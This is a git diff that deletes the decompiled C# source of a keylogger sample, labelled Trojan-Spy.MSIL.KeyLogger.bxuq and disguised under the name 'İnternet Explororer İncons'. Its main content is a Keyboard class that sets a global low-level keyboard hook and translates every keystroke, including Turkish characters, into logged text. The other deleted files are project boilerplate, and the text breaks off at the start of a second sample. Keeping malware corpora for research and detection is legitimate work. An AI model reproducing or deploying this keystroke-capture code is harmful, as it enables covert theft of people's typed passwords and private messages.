C:\Users\Administrateur\Downloads\Virusshare-00001-msil\Trojan-Spy.MSIL.KeyLogger.bxuq-09a3557d712ea2477a6d3c538dff55388670dd8d25105f75325129947182c50c.exe - -using İnternet_Explororer_İncons.My; -using Microsoft.VisualBasic.CompilerServices; -using System; -using System.Collections.Generic; -using System.Diagnostics; -using System.Reflection; -using System.Runtime.CompilerServices; -using System.Runtime.InteropServices; -using System.Windows.Forms; - -namespace İnternet_Explororer_İncons -{ - public class Keyboard - { - private static List __ENCList = new List(); - private static int Key; - private static Keyboard.KDel KHD; - - [DebuggerNonUserCode] - static Keyboard() - { - } - - [DebuggerNonUserCode] - public Keyboard() => Keyboard.__ENCAddToList((object) this); - - [DebuggerNonUserCode] - private static void __ENCAddToList(object value) - { - lock (Keyboard.__ENCList) - { - if (Keyboard.__ENCList.Count == Keyboard.__ENCList.Capacity) - { - int index1 = 0; - int num = checked (Keyboard.__ENCList.Count - 1); - int index2 = 0; - while (index2 <= num) - { - if (Keyboard.__ENCList[index2].IsAlive) - { - if (index2 != index1) - Keyboard.__ENCList[index1] = Keyboard.__ENCList[index2]; - checked { ++index1; } - } - checked { ++index2; } - } - Keyboard.__ENCList.RemoveRange(index1, checked (Keyboard.__ENCList.Count - index1)); - Keyboard.__ENCList.Capacity = Keyboard.__ENCList.Count; - } - Keyboard.__ENCList.Add(new WeakReference(RuntimeHelpers.GetObjectValue(value))); - } - } - - [DllImport("user32", EntryPoint = "SetWindowsHookExA", CharSet = CharSet.Ansi, SetLastError = true)] - private static extern int SetWindowsHookEx( - int Hook, - Keyboard.KDel KeyDelegate, - int HMod, - int ThreadId); - - [DllImport("user32", CharSet = CharSet.Ansi, SetLastError = true)] - private static extern int CallNextHookEx( - int Hook, - int nCode, - int wParam, - ref Keyboard.KeyStructure lParam); - - [DllImport("user32", CharSet = CharSet.Ansi, SetLastError = true)] - private static extern int UnhookWindowsHookEx(int Hook); - - public static event Keyboard.DownEventHandler Down; - - public static event Keyboard.UpEventHandler Up; - - public void CreateHook() - { - Keyboard.KHD = new Keyboard.KDel(this.Proc); - Keyboard.Key = Keyboard.SetWindowsHookEx(13, Keyboard.KHD, Marshal.GetHINSTANCE(Assembly.GetExecutingAssembly().GetModules()[0]).ToInt32(), 0); - } - - private int Proc(int Code, int wParam, ref Keyboard.KeyStructure lParam) - { - if (Code == 0) - { - switch (wParam) - { - case 256: - case 260: - Keyboard.DownEventHandler downEvent = Keyboard.DownEvent; - if (downEvent != null) - { - downEvent(this.Feed((Keys) lParam.Code)); - break; - } - break; - case 257: - case 261: - Keyboard.UpEventHandler upEvent = Keyboard.UpEvent; - if (upEvent != null) - { - upEvent(this.Feed((Keys) lParam.Code)); - break; - } - break; - } - } - return Keyboard.CallNextHookEx(Keyboard.Key, Code, wParam, ref lParam); - } - - public void DiposeHook() - { - Keyboard.UnhookWindowsHookEx(Keyboard.Key); - // ISSUE: explicit finalizer call - this.Finalize(); - } - - private string Feed(Keys e) - { - switch (e) - { - case Keys.Back: - return MyProject.Forms.Form1.Label7.Text + " [SİL] " + MyProject.Forms.Form1.Label8.Text; - case Keys.Tab: - return MyProject.Forms.Form1.Label7.Text + " [TAB] " + MyProject.Forms.Form1.Label8.Text; - case Keys.Return: - return MyProject.Forms.Form1.Label7.Text + " [ENTER] " + MyProject.Forms.Form1.Label8.Text; - case Keys.Capital: - return MyProject.Forms.Form1.Label7.Text + " [CAPSLOOK] " + MyProject.Forms.Form1.Label8.Text; - case Keys.Escape: - return MyProject.Forms.Form1.Label7.Text + " [ESC] " + MyProject.Forms.Form1.Label8.Text; - case Keys.Space: - return " "; - case Keys.End: - return ""; - case Keys.Home: - return ""; - case Keys.Left: - return ""; - case Keys.Up: - return ""; - case Keys.Right: - return ""; - case Keys.Down: - return ""; - case Keys.Snapshot: - return ""; - case Keys.D0: - case Keys.D1: - case Keys.D2: - case Keys.D3: - case Keys.D4: - case Keys.D5: - case Keys.D6: - case Keys.D7: - case Keys.D8: - case Keys.D9: - if ((Control.ModifierKeys & Keys.Shift) == Keys.None) - return e.ToString().Replace("D", (string) null); - string Left1 = e.ToString(); - if (Operators.CompareString(Left1, "D1", false) == 0) - return "!"; - if (Operators.CompareString(Left1, "D2", false) == 0) - return "@"; - if (Operators.CompareString(Left1, "D3", false) == 0) - return "#"; - if (Operators.CompareString(Left1, "D4", false) == 0) - return "$"; - if (Operators.CompareString(Left1, "D5", false) == 0) - return "%"; - if (Operators.CompareString(Left1, "D6", false) == 0) - return "^"; - if (Operators.CompareString(Left1, "D7", false) == 0) - return "&"; - if (Operators.CompareString(Left1, "D8", false) == 0) - return "*"; - if (Operators.CompareString(Left1, "D9", false) == 0) - return "("; - if (Operators.CompareString(Left1, "D0", false) == 0) - return ")"; - break; - case Keys.A: - case Keys.B: - case Keys.C: - case Keys.D: - case Keys.E: - case Keys.F: - case Keys.G: - case Keys.H: - case Keys.I: - case Keys.J: - case Keys.K: - case Keys.L: - case Keys.M: - case Keys.N: - case Keys.O: - case Keys.P: - case Keys.Q: - case Keys.R: - case Keys.S: - case Keys.T: - case Keys.U: - case Keys.V: - case Keys.W: - case Keys.X: - case Keys.Y: - case Keys.Z: - return Control.IsKeyLocked(Keys.Capital) | (Control.ModifierKeys & Keys.Shift) != Keys.None ? e.ToString() : e.ToString().ToLower(); - case Keys.LWin: - return ""; - case Keys.RWin: - return ""; - case Keys.Apps: - return ""; - case Keys.NumPad0: - case Keys.NumPad1: - case Keys.NumPad2: - case Keys.NumPad3: - case Keys.NumPad4: - case Keys.NumPad5: - case Keys.NumPad6: - case Keys.NumPad7: - case Keys.NumPad8: - case Keys.NumPad9: - return e.ToString().Replace("NumPad", (string) null); - case Keys.Multiply: - case Keys.Add: - case Keys.Separator: - case Keys.Subtract: - case Keys.Decimal: - case Keys.Divide: - string Left2 = e.ToString(); - if (Operators.CompareString(Left2, "Divide", false) == 0) - return "/"; - if (Operators.CompareString(Left2, "Multiply", false) == 0) - return "*"; - if (Operators.CompareString(Left2, "Subtract", false) == 0) - return "-"; - if (Operators.CompareString(Left2, "Add", false) == 0) - return "+"; - if (Operators.CompareString(Left2, "Decimal", false) == 0) - return "."; - break; - case Keys.LShiftKey: - return ""; - case Keys.RShiftKey: - return ""; - case Keys.LControlKey: - return ""; - case Keys.RControlKey: - return ""; - case Keys.LMenu: - return ""; - case Keys.RMenu: - return ""; - case Keys.OemSemicolon: - case Keys.Oemplus: - case Keys.Oemcomma: - case Keys.OemMinus: - case Keys.OemPeriod: - case Keys.Oemtilde: - case Keys.A | Keys.F17: - case Keys.B | Keys.F17: - case Keys.C | Keys.F17: - case Keys.D | Keys.F17: - case Keys.E | Keys.F17: - case Keys.F | Keys.F17: - case Keys.G | Keys.F17: - case Keys.H | Keys.F17: - case Keys.I | Keys.F17: - case Keys.J | Keys.F17: - case Keys.K | Keys.F17: - case Keys.L | Keys.F17: - case Keys.M | Keys.F17: - case Keys.N | Keys.F17: - case Keys.O | Keys.F17: - case Keys.P | Keys.F17: - case Keys.Q | Keys.F17: - case Keys.R | Keys.F17: - case Keys.S | Keys.F17: - case Keys.T | Keys.F17: - case Keys.U | Keys.F17: - case Keys.V | Keys.F17: - case Keys.W | Keys.F17: - case Keys.X | Keys.F17: - case Keys.Y | Keys.F17: - case Keys.Z | Keys.F17: - case Keys.OemOpenBrackets: - case Keys.OemPipe: - case Keys.OemCloseBrackets: - case Keys.OemQuotes: - if ((Control.ModifierKeys & Keys.Shift) != Keys.None) - { - string Left3 = e.ToString(); - if (Operators.CompareString(Left3, "OemMinus", false) == 0) - return "_"; - if (Operators.CompareString(Left3, "Oemplus", false) == 0) - return "+"; - if (Operators.CompareString(Left3, "OemOpenBrackets", false) == 0) - return "{"; - if (Operators.CompareString(Left3, "Oem6", false) == 0) - return "}"; - if (Operators.CompareString(Left3, "Oem5", false) == 0) - return "|"; - if (Operators.CompareString(Left3, "Oem1", false) == 0) - return ":"; - if (Operators.CompareString(Left3, "Oem7", false) == 0) - return "\""; - if (Operators.CompareString(Left3, "Oemcomma", false) == 0) - return ";"; - if (Operators.CompareString(Left3, "OemPeriod", false) == 0) - return ":"; - if (Operators.CompareString(Left3, "OemQuestion", false) == 0) - return "?"; - if (Operators.CompareString(Left3, "Oemtilde", false) == 0) - return "~"; - break; - } - string Left4 = e.ToString(); - if (Operators.CompareString(Left4, "OemMinus", false) == 0) - return "-"; - if (Operators.CompareString(Left4, "Oemplus", false) == 0) - return "="; - if (Operators.CompareString(Left4, "OemOpenBrackets", false) == 0) - return "ğ"; - if (Operators.CompareString(Left4, "Oem6", false) == 0) - return "ü"; - if (Operators.CompareString(Left4, "Oem5", false) == 0) - return "ç"; - if (Operators.CompareString(Left4, "Oem4", false) == 0) - return "ğ"; - if (Operators.CompareString(Left4, "Return", false) == 0) - return "[ENTER]"; - if (Operators.CompareString(Left4, "Oem1", false) == 0) - return "ş"; - if (Operators.CompareString(Left4, "Oem2", false) == 0) - return "ö"; - if (Operators.CompareString(Left4, "Oem7", false) == 0) - return "i"; - if (Operators.CompareString(Left4, "Oemcomma", false) == 0) - return ","; - if (Operators.CompareString(Left4, "OemPeriod", false) == 0) - return "."; - if (Operators.CompareString(Left4, "OemQuestion", false) == 0) - return "/"; - if (Operators.CompareString(Left4, "Oemtilde", false) == 0) - return "`"; - break; - case Keys.OemQuestion: - return "ö"; - default: - return "[" + e.ToString() + "] "; - } - return (string) null; - } - - private delegate int KDel(int nCode, int wParam, ref Keyboard.KeyStructure lParam); - - public delegate void DownEventHandler(string Key); - - public delegate void UpEventHandler(string Key); - - private struct KeyStructure - { - public int Code; - public int ScanCode; - public int Flags; - public int Time; - public int ExtraInfo; - } - } -} diff --git a/MSIL/Trojan-Spy/MSIL/K/Trojan-Spy.MSIL.KeyLogger.bxuq-09a3557d712ea2477a6d3c538dff55388670dd8d25105f75325129947182c50c/My/MyApplication.cs b/MSIL/Trojan-Spy/MSIL/K/Trojan-Spy.MSIL.KeyLogger.bxuq-09a3557d712ea2477a6d3c538dff55388670dd8d25105f75325129947182c50c/My/MyApplication.cs deleted file mode 100644 index 3473610d..00000000 --- a/MSIL/Trojan-Spy/MSIL/K/Trojan-Spy.MSIL.KeyLogger.bxuq-09a3557d712ea2477a6d3c538dff55388670dd8d25105f75325129947182c50c/My/MyApplication.cs +++ /dev/null @@ -1,23 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: İnternet_Explororer_İncons.My.MyApplication -// Assembly: İnternet Explororer İncons, Version=1.0.0.0, Culture=neutral, PublicKeyToken=null -// MVID: 88E64AC3-71C5-4F41-9C01-5AA3C20B0433 -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00001-msil\Trojan-Spy.MSIL.KeyLogger.bxuq-09a3557d712ea2477a6d3c538dff55388670dd8d25105f75325129947182c50c.exe - -using Microsoft.VisualBasic.ApplicationServices; -using System.CodeDom.Compiler; -using System.ComponentModel; -using System.Diagnostics; - -namespace İnternet_Explororer_İncons.My -{ - [EditorBrowsable(EditorBrowsableState.Never)] - [GeneratedCode("MyTemplate", "8.0.0.0")] - internal class MyApplication : ConsoleApplicationBase - { - [DebuggerNonUserCode] - public MyApplication() - { - } - } -} diff --git a/MSIL/Trojan-Spy/MSIL/K/Trojan-Spy.MSIL.KeyLogger.bxuq-09a3557d712ea2477a6d3c538dff55388670dd8d25105f75325129947182c50c/My/MyComputer.cs b/MSIL/Trojan-Spy/MSIL/K/Trojan-Spy.MSIL.KeyLogger.bxuq-09a3557d712ea2477a6d3c538dff55388670dd8d25105f75325129947182c50c/My/MyComputer.cs deleted file mode 100644 index 502a5ca0..00000000 --- a/MSIL/Trojan-Spy/MSIL/K/Trojan-Spy.MSIL.KeyLogger.bxuq-09a3557d712ea2477a6d3c538dff55388670dd8d25105f75325129947182c50c/My/MyComputer.cs +++ /dev/null @@ -1,24 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: İnternet_Explororer_İncons.My.MyComputer -// Assembly: İnternet Explororer İncons, Version=1.0.0.0, Culture=neutral, PublicKeyToken=null -// MVID: 88E64AC3-71C5-4F41-9C01-5AA3C20B0433 -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00001-msil\Trojan-Spy.MSIL.KeyLogger.bxuq-09a3557d712ea2477a6d3c538dff55388670dd8d25105f75325129947182c50c.exe - -using Microsoft.VisualBasic.Devices; -using System.CodeDom.Compiler; -using System.ComponentModel; -using System.Diagnostics; - -namespace İnternet_Explororer_İncons.My -{ - [EditorBrowsable(EditorBrowsableState.Never)] - [GeneratedCode("MyTemplate", "8.0.0.0")] - internal class MyComputer : Computer - { - [EditorBrowsable(EditorBrowsableState.Never)] - [DebuggerHidden] - public MyComputer() - { - } - } -} diff --git a/MSIL/Trojan-Spy/MSIL/K/Trojan-Spy.MSIL.KeyLogger.bxuq-09a3557d712ea2477a6d3c538dff55388670dd8d25105f75325129947182c50c/My/MyProject.cs b/MSIL/Trojan-Spy/MSIL/K/Trojan-Spy.MSIL.KeyLogger.bxuq-09a3557d712ea2477a6d3c538dff55388670dd8d25105f75325129947182c50c/My/MyProject.cs deleted file mode 100644 index 1e43ac7a..00000000 --- a/MSIL/Trojan-Spy/MSIL/K/Trojan-Spy.MSIL.KeyLogger.bxuq-09a3557d712ea2477a6d3c538dff55388670dd8d25105f75325129947182c50c/My/MyProject.cs +++ /dev/null @@ -1,212 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: İnternet_Explororer_İncons.My.MyProject -// Assembly: İnternet Explororer İncons, Version=1.0.0.0, Culture=neutral, PublicKeyToken=null -// MVID: 88E64AC3-71C5-4F41-9C01-5AA3C20B0433 -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00001-msil\Trojan-Spy.MSIL.KeyLogger.bxuq-09a3557d712ea2477a6d3c538dff55388670dd8d25105f75325129947182c50c.exe - -using Microsoft.VisualBasic; -using Microsoft.VisualBasic.ApplicationServices; -using Microsoft.VisualBasic.CompilerServices; -using System; -using System.CodeDom.Compiler; -using System.Collections; -using System.ComponentModel; -using System.ComponentModel.Design; -using System.Diagnostics; -using System.Reflection; -using System.Runtime.CompilerServices; -using System.Runtime.InteropServices; -using System.Windows.Forms; - -namespace İnternet_Explororer_İncons.My -{ - [GeneratedCode("MyTemplate", "8.0.0.0")] - [StandardModule] - [HideModuleName] - internal sealed class MyProject - { - private static readonly MyProject.ThreadSafeObjectProvider m_ComputerObjectProvider = new MyProject.ThreadSafeObjectProvider(); - private static readonly MyProject.ThreadSafeObjectProvider m_AppObjectProvider = new MyProject.ThreadSafeObjectProvider(); - private static readonly MyProject.ThreadSafeObjectProvider m_UserObjectProvider = new MyProject.ThreadSafeObjectProvider(); - private static MyProject.ThreadSafeObjectProvider m_MyFormsObjectProvider = new MyProject.ThreadSafeObjectProvider(); - private static readonly MyProject.ThreadSafeObjectProvider m_MyWebServicesObjectProvider = new MyProject.ThreadSafeObjectProvider(); - - [DebuggerNonUserCode] - static MyProject() - { - } - - [HelpKeyword("My.Computer")] - internal static MyComputer Computer - { - [DebuggerHidden] get => MyProject.m_ComputerObjectProvider.GetInstance; - } - - [HelpKeyword("My.Application")] - internal static MyApplication Application - { - [DebuggerHidden] get => MyProject.m_AppObjectProvider.GetInstance; - } - - [HelpKeyword("My.User")] - internal static User User - { - [DebuggerHidden] get => MyProject.m_UserObjectProvider.GetInstance; - } - - [HelpKeyword("My.Forms")] - internal static MyProject.MyForms Forms - { - [DebuggerHidden] get => MyProject.m_MyFormsObjectProvider.GetInstance; - } - - [HelpKeyword("My.WebServices")] - internal static MyProject.MyWebServices WebServices - { - [DebuggerHidden] get => MyProject.m_MyWebServicesObjectProvider.GetInstance; - } - - [EditorBrowsable(EditorBrowsableState.Never)] - [MyGroupCollection("System.Windows.Forms.Form", "Create__Instance__", "Dispose__Instance__", "My.MyProject.Forms")] - internal sealed class MyForms - { - public Form1 m_Form1; - [ThreadStatic] - private static Hashtable m_FormBeingCreated; - - public Form1 Form1 - { - [DebuggerNonUserCode] get - { - this.m_Form1 = MyProject.MyForms.Create__Instance__(this.m_Form1); - return this.m_Form1; - } - [DebuggerNonUserCode] set - { - if (value == this.m_Form1) - return; - if (value != null) - throw new ArgumentException("Property can only be set to Nothing"); - this.Dispose__Instance__(ref this.m_Form1); - } - } - - [DebuggerHidden] - private static T Create__Instance__(T Instance) where T : Form, new() - { - if ((object) Instance != null && !Instance.IsDisposed) - return Instance; - if (MyProject.MyForms.m_FormBeingCreated != null) - { - if (MyProject.MyForms.m_FormBeingCreated.ContainsKey((object) typeof (T))) - throw new InvalidOperationException(Utils.GetResourceString("WinForms_RecursiveFormCreate")); - } - else - MyProject.MyForms.m_FormBeingCreated = new Hashtable(); - MyProject.MyForms.m_FormBeingCreated.Add((object) typeof (T), (object) null); - try - { - return new T(); - } - catch (TargetInvocationException ex) when ( - { - // ISSUE: unable to correctly present filter - ProjectData.SetProjectError((Exception) ex); - if (ex.InnerException != null) - { - SuccessfulFiltering; - } - else - throw; - } - ) - { - throw new InvalidOperationException(Utils.GetResourceString("WinForms_SeeInnerException", ex.InnerException.Message), ex.InnerException); - } - finally - { - MyProject.MyForms.m_FormBeingCreated.Remove((object) typeof (T)); - } - } - - [DebuggerHidden] - private void Dispose__Instance__(ref T instance) where T : Form - { - instance.Dispose(); - instance = default (T); - } - - [DebuggerHidden] - [EditorBrowsable(EditorBrowsableState.Never)] - public MyForms() - { - } - - [EditorBrowsable(EditorBrowsableState.Never)] - public override bool Equals(object o) => base.Equals(RuntimeHelpers.GetObjectValue(o)); - - [EditorBrowsable(EditorBrowsableState.Never)] - public override int GetHashCode() => base.GetHashCode(); - - [EditorBrowsable(EditorBrowsableState.Never)] - internal new System.Type GetType() => typeof (MyProject.MyForms); - - [EditorBrowsable(EditorBrowsableState.Never)] - public override string ToString() => base.ToString(); - } - - [EditorBrowsable(EditorBrowsableState.Never)] - [MyGroupCollection("System.Web.Services.Protocols.SoapHttpClientProtocol", "Create__Instance__", "Dispose__Instance__", "")] - internal sealed class MyWebServices - { - [EditorBrowsable(EditorBrowsableState.Never)] - [DebuggerHidden] - public override bool Equals(object o) => base.Equals(RuntimeHelpers.GetObjectValue(o)); - - [EditorBrowsable(EditorBrowsableState.Never)] - [DebuggerHidden] - public override int GetHashCode() => base.GetHashCode(); - - [DebuggerHidden] - [EditorBrowsable(EditorBrowsableState.Never)] - internal new System.Type GetType() => typeof (MyProject.MyWebServices); - - [EditorBrowsable(EditorBrowsableState.Never)] - [DebuggerHidden] - public override string ToString() => base.ToString(); - - [DebuggerHidden] - private static T Create__Instance__(T instance) where T : new() => (object) instance == null ? new T() : instance; - - [DebuggerHidden] - private void Dispose__Instance__(ref T instance) => instance = default (T); - - [DebuggerHidden] - [EditorBrowsable(EditorBrowsableState.Never)] - public MyWebServices() - { - } - } - - [ComVisible(false)] - [EditorBrowsable(EditorBrowsableState.Never)] - internal sealed class ThreadSafeObjectProvider where T : new() - { - internal T GetInstance - { - [DebuggerHidden] get - { - if ((object) MyProject.ThreadSafeObjectProvider.m_ThreadStaticValue == null) - MyProject.ThreadSafeObjectProvider.m_ThreadStaticValue = new T(); - return MyProject.ThreadSafeObjectProvider.m_ThreadStaticValue; - } - } - - [EditorBrowsable(EditorBrowsableState.Never)] - [DebuggerHidden] - public ThreadSafeObjectProvider() - { - } - } - } -} diff --git a/MSIL/Trojan-Spy/MSIL/K/Trojan-Spy.MSIL.KeyLogger.bxuq-09a3557d712ea2477a6d3c538dff55388670dd8d25105f75325129947182c50c/My/MySettings.cs b/MSIL/Trojan-Spy/MSIL/K/Trojan-Spy.MSIL.KeyLogger.bxuq-09a3557d712ea2477a6d3c538dff55388670dd8d25105f75325129947182c50c/My/MySettings.cs deleted file mode 100644 index 588b4c0b..00000000 --- a/MSIL/Trojan-Spy/MSIL/K/Trojan-Spy.MSIL.KeyLogger.bxuq-09a3557d712ea2477a6d3c538dff55388670dd8d25105f75325129947182c50c/My/MySettings.cs +++ /dev/null @@ -1,36 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: İnternet_Explororer_İncons.My.MySettings -// Assembly: İnternet Explororer İncons, Version=1.0.0.0, Culture=neutral, PublicKeyToken=null -// MVID: 88E64AC3-71C5-4F41-9C01-5AA3C20B0433 -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00001-msil\Trojan-Spy.MSIL.KeyLogger.bxuq-09a3557d712ea2477a6d3c538dff55388670dd8d25105f75325129947182c50c.exe - -using System.CodeDom.Compiler; -using System.ComponentModel; -using System.Configuration; -using System.Diagnostics; -using System.Runtime.CompilerServices; - -namespace İnternet_Explororer_İncons.My -{ - [EditorBrowsable(EditorBrowsableState.Advanced)] - [GeneratedCode("Microsoft.VisualStudio.Editors.SettingsDesigner.SettingsSingleFileGenerator", "10.0.0.0")] - [CompilerGenerated] - internal sealed class MySettings : ApplicationSettingsBase - { - private static MySettings defaultInstance = (MySettings) SettingsBase.Synchronized((SettingsBase) new MySettings()); - - [DebuggerNonUserCode] - public MySettings() - { - } - - public static MySettings Default - { - get - { - MySettings defaultInstance = MySettings.defaultInstance; - return defaultInstance; - } - } - } -} diff --git a/MSIL/Trojan-Spy/MSIL/K/Trojan-Spy.MSIL.KeyLogger.bxuq-09a3557d712ea2477a6d3c538dff55388670dd8d25105f75325129947182c50c/My/MySettingsProperty.cs b/MSIL/Trojan-Spy/MSIL/K/Trojan-Spy.MSIL.KeyLogger.bxuq-09a3557d712ea2477a6d3c538dff55388670dd8d25105f75325129947182c50c/My/MySettingsProperty.cs deleted file mode 100644 index a084d790..00000000 --- a/MSIL/Trojan-Spy/MSIL/K/Trojan-Spy.MSIL.KeyLogger.bxuq-09a3557d712ea2477a6d3c538dff55388670dd8d25105f75325129947182c50c/My/MySettingsProperty.cs +++ /dev/null @@ -1,31 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: İnternet_Explororer_İncons.My.MySettingsProperty -// Assembly: İnternet Explororer İncons, Version=1.0.0.0, Culture=neutral, PublicKeyToken=null -// MVID: 88E64AC3-71C5-4F41-9C01-5AA3C20B0433 -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00001-msil\Trojan-Spy.MSIL.KeyLogger.bxuq-09a3557d712ea2477a6d3c538dff55388670dd8d25105f75325129947182c50c.exe - -using Microsoft.VisualBasic; -using Microsoft.VisualBasic.CompilerServices; -using System.ComponentModel.Design; -using System.Diagnostics; -using System.Runtime.CompilerServices; - -namespace İnternet_Explororer_İncons.My -{ - [HideModuleName] - [StandardModule] - [CompilerGenerated] - [DebuggerNonUserCode] - internal sealed class MySettingsProperty - { - [HelpKeyword("My.Settings")] - internal static MySettings Settings - { - get - { - MySettings settings = MySettings.Default; - return settings; - } - } - } -} diff --git a/MSIL/Trojan-Spy/MSIL/K/Trojan-Spy.MSIL.KeyLogger.bxuq-09a3557d712ea2477a6d3c538dff55388670dd8d25105f75325129947182c50c/My/Resources/Resources.cs b/MSIL/Trojan-Spy/MSIL/K/Trojan-Spy.MSIL.KeyLogger.bxuq-09a3557d712ea2477a6d3c538dff55388670dd8d25105f75325129947182c50c/My/Resources/Resources.cs deleted file mode 100644 index be43210d..00000000 --- a/MSIL/Trojan-Spy/MSIL/K/Trojan-Spy.MSIL.KeyLogger.bxuq-09a3557d712ea2477a6d3c538dff55388670dd8d25105f75325129947182c50c/My/Resources/Resources.cs +++ /dev/null @@ -1,46 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: İnternet_Explororer_İncons.My.Resources.Resources -// Assembly: İnternet Explororer İncons, Version=1.0.0.0, Culture=neutral, PublicKeyToken=null -// MVID: 88E64AC3-71C5-4F41-9C01-5AA3C20B0433 -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00001-msil\Trojan-Spy.MSIL.KeyLogger.bxuq-09a3557d712ea2477a6d3c538dff55388670dd8d25105f75325129947182c50c.exe - -using Microsoft.VisualBasic; -using Microsoft.VisualBasic.CompilerServices; -using System.CodeDom.Compiler; -using System.ComponentModel; -using System.Diagnostics; -using System.Globalization; -using System.Resources; -using System.Runtime.CompilerServices; - -namespace İnternet_Explororer_İncons.My.Resources -{ - [StandardModule] - [CompilerGenerated] - [DebuggerNonUserCode] - [GeneratedCode("System.Resources.Tools.StronglyTypedResourceBuilder", "4.0.0.0")] - [HideModuleName] - internal sealed class Resources - { - private static ResourceManager resourceMan; - private static CultureInfo resourceCulture; - - [EditorBrowsable(EditorBrowsableState.Advanced)] - internal static ResourceManager ResourceManager - { - get - { - if (object.ReferenceEquals((object) İnternet_Explororer_İncons.My.Resources.Resources.resourceMan, (object) null)) - İnternet_Explororer_İncons.My.Resources.Resources.resourceMan = new ResourceManager("İnternet_Explororer_İncons.Resources", typeof (İnternet_Explororer_İncons.My.Resources.Resources).Assembly); - return İnternet_Explororer_İncons.My.Resources.Resources.resourceMan; - } - } - - [EditorBrowsable(EditorBrowsableState.Advanced)] - internal static CultureInfo Culture - { - get => İnternet_Explororer_İncons.My.Resources.Resources.resourceCulture; - set => İnternet_Explororer_İncons.My.Resources.Resources.resourceCulture = value; - } - } -} diff --git a/MSIL/Trojan-Spy/MSIL/K/Trojan-Spy.MSIL.KeyLogger.bxuq-09a3557d712ea2477a6d3c538dff55388670dd8d25105f75325129947182c50c/Resources.resx b/MSIL/Trojan-Spy/MSIL/K/Trojan-Spy.MSIL.KeyLogger.bxuq-09a3557d712ea2477a6d3c538dff55388670dd8d25105f75325129947182c50c/Resources.resx deleted file mode 100644 index d58980a3..00000000 --- a/MSIL/Trojan-Spy/MSIL/K/Trojan-Spy.MSIL.KeyLogger.bxuq-09a3557d712ea2477a6d3c538dff55388670dd8d25105f75325129947182c50c/Resources.resx +++ /dev/null @@ -1,120 +0,0 @@ - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - text/microsoft-resx - - - 2.0 - - - System.Resources.ResXResourceReader, System.Windows.Forms, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 - - - System.Resources.ResXResourceWriter, System.Windows.Forms, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 - - \ No newline at end of file diff --git a/MSIL/Trojan-Spy/MSIL/K/Trojan-Spy.MSIL.KeyLogger.bxuq-09a3557d712ea2477a6d3c538dff55388670dd8d25105f75325129947182c50c/Trojan-Spy.MSIL.KeyLogger.bxuq.csproj b/MSIL/Trojan-Spy/MSIL/K/Trojan-Spy.MSIL.KeyLogger.bxuq-09a3557d712ea2477a6d3c538dff55388670dd8d25105f75325129947182c50c/Trojan-Spy.MSIL.KeyLogger.bxuq.csproj deleted file mode 100644 index a73880f5..00000000 --- a/MSIL/Trojan-Spy/MSIL/K/Trojan-Spy.MSIL.KeyLogger.bxuq-09a3557d712ea2477a6d3c538dff55388670dd8d25105f75325129947182c50c/Trojan-Spy.MSIL.KeyLogger.bxuq.csproj +++ /dev/null @@ -1,54 +0,0 @@ - - - - - Debug - AnyCPU - {6490185F-38B3-4D88-8094-EBFE657A21A6} - WinExe - İnternet Explororer İncons - 1.0.0.0 - İnternet_Explororer_İncons - - - AnyCPU - true - full - false - bin\Debug\ - DEBUG;TRACE - prompt - 4 - - - AnyCPU - pdbonly - true - bin\Release\ - TRACE - prompt - 4 - - - - - - - - - - - - - - - - - - - - - - - - \ No newline at end of file diff --git a/MSIL/Trojan-Spy/MSIL/K/Trojan-Spy.MSIL.KeyLogger.bxuq-09a3557d712ea2477a6d3c538dff55388670dd8d25105f75325129947182c50c/Trojan-Spy.MSIL.KeyLogger.bxuq.sln b/MSIL/Trojan-Spy/MSIL/K/Trojan-Spy.MSIL.KeyLogger.bxuq-09a3557d712ea2477a6d3c538dff55388670dd8d25105f75325129947182c50c/Trojan-Spy.MSIL.KeyLogger.bxuq.sln deleted file mode 100644 index 6c61a350..00000000 --- a/MSIL/Trojan-Spy/MSIL/K/Trojan-Spy.MSIL.KeyLogger.bxuq-09a3557d712ea2477a6d3c538dff55388670dd8d25105f75325129947182c50c/Trojan-Spy.MSIL.KeyLogger.bxuq.sln +++ /dev/null @@ -1,20 +0,0 @@ - -Microsoft Visual Studio Solution File, Format Version 9.00 -# Visual Studio 2005 -Project("{FAE04EC0-301F-11D3-BF4B-00C04F79EFBC}") = "İnternet Explororer İncons", "Trojan-Spy.MSIL.KeyLogger.bxuq-09a3557d712ea2477a6d3c538dff55388670dd8d25105f75325129947182c50c.csproj", "{6490185F-38B3-4D88-8094-EBFE657A21A6}" -EndProject -Global - GlobalSection(SolutionConfigurationPlatforms) = preSolution - Debug|Any CPU = Debug|Any CPU - Release|Any CPU = Release|Any CPU - EndGlobalSection - GlobalSection(ProjectConfigurationPlatforms) = postSolution - {6490185F-38B3-4D88-8094-EBFE657A21A6}.Debug|Any CPU.ActiveCfg = Debug|Any CPU - {6490185F-38B3-4D88-8094-EBFE657A21A6}.Debug|Any CPU.Build.0 = Debug|Any CPU - {6490185F-38B3-4D88-8094-EBFE657A21A6}.Release|Any CPU.ActiveCfg = Release|Any CPU - {6490185F-38B3-4D88-8094-EBFE657A21A6}.Release|Any CPU.Build.0 = Release|Any CPU - EndGlobalSection - GlobalSection(SolutionProperties) = preSolution - HideSolutionNode = FALSE - EndGlobalSection -EndGlobal diff --git a/MSIL/Trojan-Spy/MSIL/K/Trojan-Spy.MSIL.KeyLogger.bxxf-29d0d8bb086c7360de2cb6bdee6fa1f914777123fb768702327d93adc7e2d1c9/AssemblyInfo.cs b/MSIL/Trojan-Spy/MSIL/K/Trojan-Spy.MSIL.KeyLogger.bxxf-29d0d8bb086c7360de2cb6bdee6fa1f914777123fb768702327d93adc7e2d1c9/AssemblyInfo.cs deleted file mode 100644 index 0da09617..00000000 --- 